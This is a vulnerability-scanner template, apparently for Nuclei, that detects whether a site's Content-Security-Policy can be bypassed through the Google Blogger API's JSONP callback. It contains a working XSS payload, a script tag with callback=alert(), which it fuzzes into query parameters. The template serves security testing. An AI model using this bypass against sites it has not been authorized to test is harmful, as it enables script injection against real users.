id: googleapis-blogger-csp-bypass

info:
  name: Content-Security-Policy Bypass - Google APIs Blogger
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,googleapis-blogger,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "googleapis.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: googleapis_blogger_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://www.googleapis.com/blogger/v3/blogs/1/posts/1?callback=alert()"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "googleapis_blogger_csp_xss == true"
# digest: 490a0046304402200d22582e4efbeb7027a57d71d752767fd700bfad21cb92b4b553ddb37045ad1b0220415a91a62084e0192d76167483375349dff6db21b65f6418563a2ffed12ffac6:922c64590222798bb761d5b6d8e72950